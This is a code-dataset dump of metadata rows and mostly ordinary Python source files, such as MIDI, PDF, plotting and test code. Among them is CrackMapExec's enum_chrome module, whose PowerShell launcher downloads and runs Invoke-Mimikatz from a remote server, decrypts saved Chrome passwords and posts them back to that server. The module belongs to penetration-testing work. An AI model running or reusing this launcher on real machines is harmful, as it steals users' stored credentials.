blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
288
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
112
| license_type
stringclasses 2
values | repo_name
stringlengths 5
115
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 684
values | visit_date
timestamp[us]date 2015-08-06 10:31:46
2023-09-06 10:44:38
| revision_date
timestamp[us]date 1970-01-01 02:38:32
2037-05-03 13:00:00
| committer_date
timestamp[us]date 1970-01-01 02:38:32
2023-09-06 01:08:06
| github_id
int64 4.92k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 22
values | gha_event_created_at
timestamp[us]date 2012-06-04 01:52:49
2023-09-14 21:59:50
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-21 12:35:19
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 25
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 128
12.7k
| extension
stringclasses 142
values | content
stringlengths 128
8.19k
| authors
listlengths 1
1
| author_id
stringlengths 1
132
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d68c5d463664d4d7bdbf0dbcda90e172df77d16f
|
40218b64840f4eec1866e33300a8395bdfa4c33b
|
/demos/TestMQTTMusic.py
|
456f3f1fd42dc664ca03a96ca51e57e63ea91846
|
[
"MIT"
] |
permissive
|
titos-carrasco/MindSet-Python
|
af0750ec12a72954741f13ff016e9a4d9e753b08
|
74f53fe49b8b6129a7a34da314efc46d3d5e1aa1
|
refs/heads/master
| 2021-12-24T16:41:43.766347
| 2021-12-24T00:02:34
| 2021-12-24T00:02:34
| 98,101,141
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,000
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import rtmidi
import paho.mqtt.client as mqtt
import json
import time
import queue
from mindset.MindSet import *
MQTT_SERVER = '127.0.0.1'
MQTT_PORT = 1883
MQTT_TOPIC = "rcr/demo/mindset"
class TestMusicaMQTT():
def __init__( self, mqtt_server, mqtt_port, mqtt_topic ):
self.mqtt_server = mqtt_server
self.mqtt_port = mqtt_port
self.mqtt_topic = mqtt_topic
self.messages = queue.Queue( 1 )
def mqtt_on_connect( self, client, userdata, flags, rc ):
client.subscribe( self.mqtt_topic )
def mqtt_on_message( self, client, userdata, message ):
try:
self.messages.get_nowait()
except:
pass
self.messages.put_nowait( message )
def run( self ):
midiOut = rtmidi.MidiOut()
midiOut.open_virtual_port( 'MindSet Port' )
nota1 = [ 0 ]*4
nota2 = [ 0 ]*4
mqtt_client = mqtt.Client()
mqtt_client.on_connect = self.mqtt_on_connect
mqtt_client.on_message = self.mqtt_on_message
mqtt_client.loop_start()
mqtt_client.connect( self.mqtt_server, self.mqtt_port )
time.sleep( 2 )
while( True ):
msg = self.messages.get()
msd = json.loads( msg.payload )
nota = msd['attentionESense']
midiOut.send_message( [ 0x90, nota,8 ] ) # on channel 0, nota, velocidad
nota1.append( nota )
nota = nota1.pop(0)
midiOut.send_message( [ 0x80, nota, 8 ] ) # off channel 0, nota, velocidad
nota = msd['meditationESense']
midiOut.send_message( [ 0x91, nota, 8 ] ) # on channel 1, nota, velocidad
nota2.append( nota )
nota = nota2.pop(0)
midiOut.send_message( [ 0x81, nota, 8 ] ) # off channel 1, nota, velocidad
if( __name__ == "__main__" ):
TestMusicaMQTT( MQTT_SERVER, MQTT_PORT, MQTT_TOPIC ).run()
|
[
"titos.carrasco@gmail.com"
] |
titos.carrasco@gmail.com
|
f273efbb20a2ff8023b3515a70d85b4edd43fe4e
|
b60953cdbb29dd87a450d1a1a5f6f5fde6f0e200
|
/util/repoter.py
|
42db8e3d10e2dbca45c5ed3d6cd6ac2e0cfe670f
|
[
"MIT"
] |
permissive
|
PINTO0309/TensorflowLite-UNet
|
bcffad7db93c8ea0d85aea976773fa22fa8bd2bb
|
e805162fc2623b31dbdbf159d2eb89d7041fdbdd
|
refs/heads/master
| 2020-04-01T20:56:13.269870
| 2019-02-13T11:59:01
| 2019-02-13T11:59:01
| 153,627,668
| 79
| 22
|
MIT
| 2018-10-19T23:13:56
| 2018-10-18T13:24:10
|
Python
|
UTF-8
|
Python
| false
| false
| 6,381
|
py
|
from PIL import Image
import numpy as np
import datetime
import os
import matplotlib.pyplot as plt
class Reporter:
ROOT_DIR = "result"
IMAGE_DIR = "image"
LEARNING_DIR = "learning"
INFO_DIR = "info"
PARAMETER = "parameter.txt"
IMAGE_PREFIX = "epoch_"
IMAGE_EXTENSION = ".png"
def __init__(self, result_dir=None, parser=None):
if result_dir is None:
result_dir = Reporter.generate_dir_name()
self._root_dir = self.ROOT_DIR
self._result_dir = os.path.join(self._root_dir, result_dir)
self._image_dir = os.path.join(self._result_dir, self.IMAGE_DIR)
self._image_train_dir = os.path.join(self._image_dir, "train")
self._image_test_dir = os.path.join(self._image_dir, "test")
self._learning_dir = os.path.join(self._result_dir, self.LEARNING_DIR)
self._info_dir = os.path.join(self._result_dir, self.INFO_DIR)
self._parameter = os.path.join(self._info_dir, self.PARAMETER)
self.create_dirs()
self._matplot_manager = MatPlotManager(self._learning_dir)
if parser is not None:
self.save_params(self._parameter, parser)
@staticmethod
def generate_dir_name():
return datetime.datetime.today().strftime("%Y%m%d_%H%M")
def create_dirs(self):
os.makedirs(self._root_dir, exist_ok=True)
os.makedirs(self._result_dir)
os.makedirs(self._image_dir)
os.makedirs(self._image_train_dir)
os.makedirs(self._image_test_dir)
os.makedirs(self._learning_dir)
os.makedirs(self._info_dir)
@staticmethod
def save_params(filename, parser):
parameters = list()
parameters.append("Number of epochs:" + str(parser.epoch))
parameters.append("Batch size:" + str(parser.batchsize))
parameters.append("Training rate:" + str(parser.trainrate))
parameters.append("Augmentation:" + str(parser.augmentation))
parameters.append("L2 regularization:" + str(parser.l2reg))
output = "\n".join(parameters)
with open(filename, mode='w') as f:
f.write(output)
def save_image(self, train, test, epoch):
file_name = self.IMAGE_PREFIX + str(epoch) + self.IMAGE_EXTENSION
train_filename = os.path.join(self._image_train_dir, file_name)
test_filename = os.path.join(self._image_test_dir, file_name)
train.save(train_filename)
test.save(test_filename)
def save_image_from_ndarray(self, train_set, test_set, palette, epoch, index_void=None):
assert len(train_set) == len(test_set) == 3
train_image = Reporter.get_imageset(train_set[0], train_set[1], train_set[2], palette, index_void)
test_image = Reporter.get_imageset(test_set[0], test_set[1], test_set[2], palette, index_void)
self.save_image(train_image, test_image, epoch)
def create_figure(self, title, xylabels, labels, filename=None):
return self._matplot_manager.add_figure(title, xylabels, labels, filename=filename)
@staticmethod
def concat_images(im1, im2, palette, mode):
if mode == "P":
assert palette is not None
dst = Image.new("P", (im1.width + im2.width, im1.height))
dst.paste(im1, (0, 0))
dst.paste(im2, (im1.width, 0))
dst.putpalette(palette)
elif mode == "RGB":
dst = Image.new("RGB", (im1.width + im2.width, im1.height))
dst.paste(im1, (0, 0))
dst.paste(im2, (im1.width, 0))
return dst
@staticmethod
def cast_to_pil(ndarray, palette, index_void=None):
assert len(ndarray.shape) == 3
res = np.argmax(ndarray, axis=2)
if index_void is not None:
res = np.where(res == index_void, 0, res)
image = Image.fromarray(np.uint8(res), mode="P")
image.putpalette(palette)
return image
@staticmethod
def get_imageset(image_in_np, image_out_np, image_tc_np, palette, index_void=None):
assert image_in_np.shape[:2] == image_out_np.shape[:2] == image_tc_np.shape[:2]
image_out, image_tc = Reporter.cast_to_pil(image_out_np, palette, index_void),\
Reporter.cast_to_pil(image_tc_np, palette, index_void)
image_concated = Reporter.concat_images(image_out, image_tc, palette, "P").convert("RGB")
image_in_pil = Image.fromarray(np.uint8(image_in_np * 255), mode="RGB")
image_result = Reporter.concat_images(image_in_pil, image_concated, None, "RGB")
return image_result
class MatPlotManager:
def __init__(self, root_dir):
self._root_dir = root_dir
self._figures = {}
def add_figure(self, title, xylabels, labels, filename=None):
assert not(title in self._figures.keys()), "This title already exists."
self._figures[title] = MatPlot(title, xylabels, labels, self._root_dir, filename=filename)
return self._figures[title]
def get_figure(self, title):
return self._figures[title]
class MatPlot:
EXTENSION = ".png"
def __init__(self, title, xylabels, labels, root_dir, filename=None):
assert len(labels) > 0 and len(xylabels) == 2
if filename is None:
self._filename = title
else:
self._filename = filename
self._title = title
self._xlabel, self._ylabel = xylabels[0], xylabels[1]
self._labels = labels
self._root_dir = root_dir
self._series = np.zeros((len(labels), 0))
def add(self, series, is_update=False):
series = np.asarray(series).reshape((len(series), 1))
assert series.shape[0] == self._series.shape[0], "series must have same length."
self._series = np.concatenate([self._series, series], axis=1)
if is_update:
self.save()
def save(self):
plt.cla()
for s, l in zip(self._series, self._labels):
plt.plot(s, label=l)
plt.legend()
plt.grid()
plt.xlabel(self._xlabel)
plt.ylabel(self._ylabel)
plt.title(self._title)
plt.savefig(os.path.join(self._root_dir, self._filename+self.EXTENSION))
if __name__ == "__main__":
pass
|
[
"rmsdh122@yahoo.co.jp"
] |
rmsdh122@yahoo.co.jp
|
4a00024163d840eac6bbf878d2c02d6e3dee4993
|
fa4d4455159ad2d9e7e057388e2fa45a2333928b
|
/assignments/Assignment7/Assignment7_3.py
|
fcf9a62a0d9f5d7b2cb6ab5674836ab5dcbb5aa2
|
[] |
no_license
|
shreyash05/python_programs
|
b492e6fbeba7bc8a31caf72dd60f3984ff16e6f0
|
74b4f3ee15a7221d03816f7ba831d59bec7bf7ff
|
refs/heads/main
| 2023-04-25T11:15:44.868634
| 2021-05-20T12:55:54
| 2021-05-20T12:55:54
| 356,513,494
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,921
|
py
|
""" 3. Write a program which contains one class named as Numbers.
Arithmetic class contains one instance variables as Value.
Inside init method initialise that instance variables to the value which is accepted from user.
There are four instance methods inside class as ChkPrime(), ChkPerfect(), SumFactors(),
Factors().
ChkPrime() method will returns true if number is prime otherwise return false.
ChkPerfect() method will returns true if number is perfect otherwise return false.
Factors() method will display all factors of instance variable.
SumFactors() method will return addition of all factors. Use this method in any another method
as a helper method if required.
After designing the above class call all instance methods by creating multiple objects. """
class Numbers:
def __init__(self,value):
self.value = value
def ChkPrime(self):
for element in range(2,self.value):
flag = 0
if(self.value%element==0):
flag = 1
break
if flag == 0:
return True
else:
return False
def ChkPerfect(self):
isum = 0
for element in range(1,self.value):
if(self.value%element==0):
isum = isum+element
if isum==self.value:
return True
else:
return False
def Factors(self):
print("Factors of number:")
for element in range(1,self.value):
if(self.value%element==0):
print(element)
def SumFactors(self):
isum = 0
for element in range(1,self.value):
if(self.value%element==0):
isum = isum+element
return isum
def main():
obj = Numbers(6)
ret1 = obj.ChkPrime()
if(ret1==True):
print("Number is prime")
else:
print("Number is not prime")
ret2 = obj.ChkPerfect()
if(ret2==True):
print("Number is perfect")
else:
print("Number is not perfect")
obj.Factors()
ret4 = obj.SumFactors()
print("sum of factors is:",ret4)
if __name__ == '__main__':
main()
|
[
"noreply@github.com"
] |
shreyash05.noreply@github.com
|
d5d6cc1460ec8a0cc8fa4caad9843cc19a94fca7
|
7b0c90185aa3d4ae7c422ff32fcc0ebf930f1eed
|
/venv/bin/cq
|
181b875f537d28fd7dc87e8b9dd64210bb35b2fc
|
[] |
no_license
|
skilllauncher/lets-hi5
|
d3c83052886027575e5e3b5d4e92cb934105fab5
|
8277d3ea641b44fc70c4bfb1f5581e6ae8e395cb
|
refs/heads/master
| 2020-03-24T03:14:35.276636
| 2018-07-26T08:14:19
| 2018-07-26T08:14:19
| 142,410,670
| 0
| 1
| null | 2018-07-26T08:16:33
| 2018-07-26T08:16:33
| null |
UTF-8
|
Python
| false
| false
| 3,089
|
#!/Users/saicharanreddy/Desktop/lets-hi5/venv/bin/python
# Copyright (c) 2006,2007 Mitch Garnaat http://garnaat.org/
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish, dis-
# tribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the fol-
# lowing conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
#
import getopt, sys
import boto.sqs
from boto.sqs.connection import SQSConnection
from boto.exception import SQSError
def usage():
print 'cq [-c] [-q queue_name] [-o output_file] [-t timeout] [-r region]'
def main():
try:
opts, args = getopt.getopt(sys.argv[1:], 'hcq:o:t:r:',
['help', 'clear', 'queue=',
'output=', 'timeout=', 'region='])
except:
usage()
sys.exit(2)
queue_name = ''
output_file = ''
timeout = 30
region = ''
clear = False
for o, a in opts:
if o in ('-h', '--help'):
usage()
sys.exit()
if o in ('-q', '--queue'):
queue_name = a
if o in ('-o', '--output'):
output_file = a
if o in ('-c', '--clear'):
clear = True
if o in ('-t', '--timeout'):
timeout = int(a)
if o in ('-r', '--region'):
region = a
if region:
c = boto.sqs.connect_to_region(region)
if c is None:
print 'Invalid region (%s)' % region
sys.exit(1)
else:
c = SQSConnection()
if queue_name:
try:
rs = [c.create_queue(queue_name)]
except SQSError as e:
print 'An Error Occurred:'
print '%s: %s' % (e.status, e.reason)
print e.body
sys.exit()
else:
try:
rs = c.get_all_queues()
except SQSError as e:
print 'An Error Occurred:'
print '%s: %s' % (e.status, e.reason)
print e.body
sys.exit()
for q in rs:
if clear:
n = q.clear()
print 'clearing %d messages from %s' % (n, q.id)
elif output_file:
q.dump(output_file)
else:
print q.id, q.count(vtimeout=timeout)
if __name__ == "__main__":
main()
|
[
"saicharan.reddy1@gmail.com"
] |
saicharan.reddy1@gmail.com
|
|
50b15ee80d619c141365229c4ac4c5a1f3eab92a
|
74f2e26b17acd51f5eaea5df6a3921943ac29d98
|
/pints/tests/test_toy_lotka_volterra_model.py
|
64e450b7bfbab3ec9d4558042baa600896f97152
|
[
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] |
permissive
|
nandigama/pints
|
fd1ec6ee7e7a0d5f255f6c94b0da0a3cbb2e9efd
|
adf920adaf4f9e23f33bb978f79bc0c341acd4eb
|
refs/heads/master
| 2020-07-13T03:13:33.740363
| 2019-08-26T21:15:24
| 2019-08-26T21:15:24
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,466
|
py
|
#!/usr/bin/env python
#
# Tests if the Lotka-Volterra toy model runs.
#
# This file is part of PINTS.
# Copyright (c) 2017-2018, University of Oxford.
# For licensing information, see the LICENSE file distributed with the PINTS
# software package.
#
import unittest
import numpy as np
import pints
import pints.toy
class TestLotkaVolterraModel(unittest.TestCase):
"""
Tests if the Lotka-Volterra toy model runs.
"""
def test_run(self):
model = pints.toy.LotkaVolterraModel()
self.assertEqual(model.n_parameters(), 4)
self.assertEqual(model.n_outputs(), 2)
times = model.suggested_times()
parameters = model.suggested_parameters()
values = model.simulate(parameters, times)
self.assertEqual(values.shape, (len(times), 2))
self.assertTrue(np.all(values > 0))
# Test setting and getting init cond.
self.assertFalse(np.all(model.initial_conditions() == [10, 10]))
model.set_initial_conditions([10, 10])
self.assertTrue(np.all(model.initial_conditions() == [10, 10]))
# Initial conditions cannot be negative
model = pints.toy.LotkaVolterraModel([0, 0])
self.assertRaises(ValueError, pints.toy.LotkaVolterraModel, [-1, 0])
self.assertRaises(ValueError, pints.toy.LotkaVolterraModel, [0, -1])
self.assertRaises(ValueError, pints.toy.LotkaVolterraModel, [-1, -1])
if __name__ == '__main__':
unittest.main()
|
[
"chonloklei@gmail.com"
] |
chonloklei@gmail.com
|
3272b803a4924a147960a0c97b018b92231252ef
|
f0d713996eb095bcdc701f3fab0a8110b8541cbb
|
/YK9PpDRfyBTEarNyR_6.py
|
336c15964672eb1a583700bbf580e7666e0021f2
|
[] |
no_license
|
daniel-reich/turbo-robot
|
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
|
a7a25c63097674c0a81675eed7e6b763785f1c41
|
refs/heads/main
| 2023-03-26T01:55:14.210264
| 2021-03-23T16:08:01
| 2021-03-23T16:08:01
| 350,773,815
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 572
|
py
|
"""
Programmer Pete is trying to turn two lists inside one list into one without
messing the order of the list nor the type and because he's pretty advanced he
made it without blinking but I want you to make it too.
### Examples
one_list([[1, 2], [3, 4]]) ➞ [1, 2, 3, 4]
one_list([["a", "b"], ["c", "d"]]) ➞ ["a", "b", "c", "d"]
one_list([[True, False], [False, False]]) ➞ [True, False, False, False]
### Notes
* Remember to `return` the list.
* Check **Resources** for more info.
"""
def one_list(lst):
return lst[0] + lst[1]
|
[
"daniel.reich@danielreichs-MacBook-Pro.local"
] |
daniel.reich@danielreichs-MacBook-Pro.local
|
d1cf241890c289ab4628ed9941032718dd9d5a40
|
7ba4e38e0835cd009a078ce39a480b5bacaba21f
|
/sample_code/chap5/5.1.2.testplot3d.py
|
d0c8015f395f6ef3c7c84022b96a7c47a74a2256
|
[] |
no_license
|
moguranran/computer_vision_test
|
fe0641987905755c733e4ab16f48c3b76d01b3f4
|
4c5b5572d01e13a42eefb2423e66e34675c305cb
|
refs/heads/master
| 2022-04-20T17:53:37.668609
| 2020-03-31T00:13:02
| 2020-03-31T00:13:02
| 249,196,701
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 313
|
py
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pylab import *
from mpl_toolkits.mplot3d import axes3d
fig = figure()
ax = fig.gca(projection="3d")
# 3Dのサンプルデータを生成する
X,Y,Z = axes3d.get_test_data(0.25)
# 3Dの点を描画する
ax.plot(X.flatten(),Y.flatten(),Z.flatten(),'o')
show()
|
[
"peehssalg@gmail.com"
] |
peehssalg@gmail.com
|
df09e465e9af07a47772e5ceb87409c30f72a830
|
f38e78214992de722a6ec2012e844bce7b3c59ed
|
/lib/clckwrkbdgr/todo/test/test_providers.py
|
04ed6438c490083c1709000f37ae9b135d01877e
|
[
"MIT"
] |
permissive
|
clckwrkbdgr/dotfiles
|
20fb86f54d93ae4936c334898c3d7b1b3820fb06
|
a7e880e189bfa4793f30ff928b049e4a182a38cd
|
refs/heads/master
| 2023-08-31T13:13:47.533868
| 2023-08-30T18:32:00
| 2023-08-30T18:32:00
| 20,396,084
| 2
| 2
|
MIT
| 2022-10-01T16:35:31
| 2014-06-02T07:26:38
|
Python
|
UTF-8
|
Python
| false
| false
| 1,153
|
py
|
import json
from ... import xdg
from ... import unittest
from ..provider import todo_dir
from .. import _base
class TestTodoDir(unittest.fs.TestCase):
MODULES = [todo_dir]
def setUp(self):
if _base.task_provider._entries.get('todo_dir'): # pragma: no cover
del _base.task_provider._entries['todo_dir']
super(TestTodoDir, self).setUp()
def tearDown(self):
if _base.task_provider._entries.get('todo_dir'): # pragma: no cover
del _base.task_provider._entries['todo_dir']
@unittest.mock.patch('clckwrkbdgr.todo._base.read_config', new=_base.read_config.__wrapped__)
def should_list_todo_dir(self):
self.fs.create_file(str(xdg.save_data_path('todo')/'config.json'), contents=json.dumps({
"inbox_file" : str(xdg.save_data_path('todo')/"inbox.txt"),
"todo_dir" : str(xdg.save_data_path('todo')),
}))
self.fs.create_dir(str(xdg.save_data_path('todo')/'foo'))
self.fs.create_file(str(xdg.save_data_path('todo')/'bar.md'))
self.fs.create_file(str(xdg.save_data_path('todo')/'inbox.txt'))
self.assertEqual(set(todo_dir.list_todo_directory()), {
_base.Task('foo', tags=['foo']),
_base.Task('bar.md', tags=['bar']),
})
|
[
"umi0451@gmail.com"
] |
umi0451@gmail.com
|
303c660e3eef57e3a36afb062ecd39b07d4bc99b
|
58df224689ab08c99359b1a6077d2fba3728dc61
|
/lamda-ocr/merge-files/borb/io/write/page/write_pages_transformer.py
|
68627bae287b7b3e25fae919b97dba2be46afbac
|
[] |
no_license
|
LIT-Midas/LITHackathon
|
2b286728c156d79d3f426f6d19b160a2a04690db
|
7b990483dd48b91cf3ec3452b78ab67770da71af
|
refs/heads/main
| 2023-08-13T05:22:59.373965
| 2021-08-16T01:09:49
| 2021-08-16T01:09:49
| 395,024,729
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,106
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
This implementation of WriteBaseTransformer is responsible
for writing Dictionary objects of \Type \Pages
"""
import logging
import typing
from typing import Optional
from borb.io.read.types import AnyPDFType, Dictionary, Name, Reference
from borb.io.write.object.write_dictionary_transformer import WriteDictionaryTransformer
from borb.io.write.write_base_transformer import WriteTransformerState
logger = logging.getLogger(__name__)
class WritePagesTransformer(WriteDictionaryTransformer):
"""
This implementation of WriteBaseTransformer is responsible
for writing Dictionary objects of \Type \Pages
"""
def can_be_transformed(self, any: AnyPDFType):
"""
This function returns True if the object to be converted represents a \Pages Dictionary
"""
return isinstance(any, Dictionary) and "Type" in any and any["Type"] == "Pages"
def transform(
self,
object_to_transform: AnyPDFType,
context: Optional[WriteTransformerState] = None,
):
"""
This method writes a \Pages Dictionary to a byte stream
"""
assert isinstance(object_to_transform, Dictionary)
assert (
context is not None
), "A WriteTransformerState must be defined in order to write Pages Dictionary objects."
# \Kids can be written immediately
object_to_transform[Name("Kids")].set_can_be_referenced(False)
# queue writing of \Page objects
queue: typing.List[AnyPDFType] = []
for i, k in enumerate(object_to_transform["Kids"]):
queue.append(k)
ref: Reference = self.get_reference(k, context)
object_to_transform["Kids"][i] = ref
# delegate to super
super(WritePagesTransformer, self).transform(object_to_transform, context)
# write \Page objects
for p in queue:
self.get_root_transformer().transform(p, context)
# restore \Kids
for i, k in enumerate(queue):
object_to_transform["Kids"][i] = k
|
[
"trevordino@gmail.com"
] |
trevordino@gmail.com
|
76f98d3da0ade232f07aceecf15d6408af840350
|
678770fcff8f01340dbea76bdc255a7f7dae7ce8
|
/cme/modules/enum_chrome.py
|
ee01a980d9512560b1ee464fca2e648ed8eb3c60
|
[
"BSD-2-Clause"
] |
permissive
|
archey/CrackMapExec
|
8a60d8f84332234636689dc448d6e58ae86bb02c
|
3d010ea2f0321908f28bae5ba814a453e3d9b215
|
refs/heads/master
| 2021-01-12T04:13:22.955299
| 2016-12-28T18:23:31
| 2016-12-28T18:23:31
| 77,552,171
| 1
| 0
| null | 2016-12-28T18:12:49
| 2016-12-28T18:12:48
| null |
UTF-8
|
Python
| false
| false
| 5,519
|
py
|
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime
from StringIO import StringIO
import re
class CMEModule:
'''
Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords
Module by @byt3bl33d3r
'''
name = 'enum_chrome'
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
chain_support = False
def options(self, context, module_options):
'''
'''
return
def launcher(self, context, command):
'''
Oook.. Think my heads going to explode
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
'''
launcher = '''
$cmd = "privilege::debug sekurlsa::dpapi"
$userdirs = get-childitem "$Env:SystemDrive\Users"
foreach ($dir in $userdirs) {{
$LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if ([System.IO.File]::Exists($LoginDataPath)) {{
$rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}})
$temp_path = "$Env:windir\Temp\$rand_name"
Copy-Item $LoginDataPath $temp_path
$cmd = $cmd + " `"dpapi::chrome /in:$temp_path`""
}}
}}
$cmd = $cmd + " exit"
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-Mimikatz -Command $cmd;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip)
return create_ps_command(launcher)
def payload(self, context, command):
'''
Since the chrome decryption feature is relatively new, I had to manully compile the latest Mimikatz version,
update the base64 encoded binary in the Invoke-Mimikatz.ps1 script
and apply a patch that @gentilkiwi posted here https://github.com/PowerShellMafia/PowerSploit/issues/147 for the newer versions of mimikatz to work when injected.
Here we call the updated PowerShell script instead of PowerSploits version
'''
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
buf = StringIO(data).readlines()
creds = []
try:
i = 0
while i < len(buf):
if ('URL' in buf[i]):
url = buf[i].split(':', 1)[1].strip()
user = buf[i+1].split(':', 1)[1].strip()
passw = buf[i+3].split(':', 1)[1].strip()
creds.append({'url': url, 'user': user, 'passw': passw})
i += 1
if creds:
context.log.success('Found saved Chrome credentials:')
for cred in creds:
context.log.highlight('URL: ' + cred['url'])
context.log.highlight('Username: ' + cred['user'])
context.log.highlight('Password: ' + cred['passw'])
context.log.highlight('')
except:
context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved Mimikatz's output to {}".format(log_name))
|
[
"byt3bl33d3r@gmail.com"
] |
byt3bl33d3r@gmail.com
|
00d2631d286f49fce9f9cd2239ebf7a8d7d64789
|
c0665729c9d6d9981df3525a2937dbf82650e023
|
/migrations/versions/88cf82c03451_.py
|
b041896d1e10abcc32ef4c59b6be6f11313d9fc8
|
[] |
no_license
|
anaf007/t923
|
3ebef05801904456953e128a9059db3c52252dc1
|
078d2c566c77afa2ca1be7663d3c23c9f0ecddac
|
refs/heads/master
| 2020-03-25T08:39:01.200735
| 2018-12-12T14:56:59
| 2018-12-12T14:56:59
| 143,625,550
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 940
|
py
|
"""empty message
Revision ID: 88cf82c03451
Revises: d61c3c0d0a4a
Create Date: 2018-08-05 21:38:07.000959
"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import mysql
# revision identifiers, used by Alembic.
revision = '88cf82c03451'
down_revision = 'd61c3c0d0a4a'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('users', sa.Column('is_center', sa.Boolean(), nullable=True))
op.alter_column('users', 'email',
existing_type=mysql.VARCHAR(length=80),
nullable=True)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.alter_column('users', 'email',
existing_type=mysql.VARCHAR(length=80),
nullable=False)
op.drop_column('users', 'is_center')
# ### end Alembic commands ###
|
[
"anaf@163.com"
] |
anaf@163.com
|
6bb116d3f2cf2ad70af121abb33e58ed43bf50c3
|
98158b9e965e72b5a296be193931ce108bf0519e
|
/src/main/python/systemds/operator/algorithm/builtin/correctTypos.py
|
acbd0f9448f3e79f19f34fcd1d6dd511d21ccec2
|
[
"Apache-2.0"
] |
permissive
|
Shafaq-Siddiqi/systemml
|
88dabaddf4763376bfcc46dc0f961ee9ab1cd438
|
fecc4df3d6a9bba48d3ed72f6abcb7d3ce5582bf
|
refs/heads/main
| 2023-04-27T14:22:05.333433
| 2022-05-22T10:08:06
| 2022-05-22T10:08:06
| 251,010,104
| 0
| 0
|
Apache-2.0
| 2023-01-31T02:04:28
| 2020-03-29T10:54:14
|
Java
|
UTF-8
|
Python
| false
| false
| 2,289
|
py
|
# -------------------------------------------------------------
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
# -------------------------------------------------------------
# Autogenerated By : src/main/python/generator/generator.py
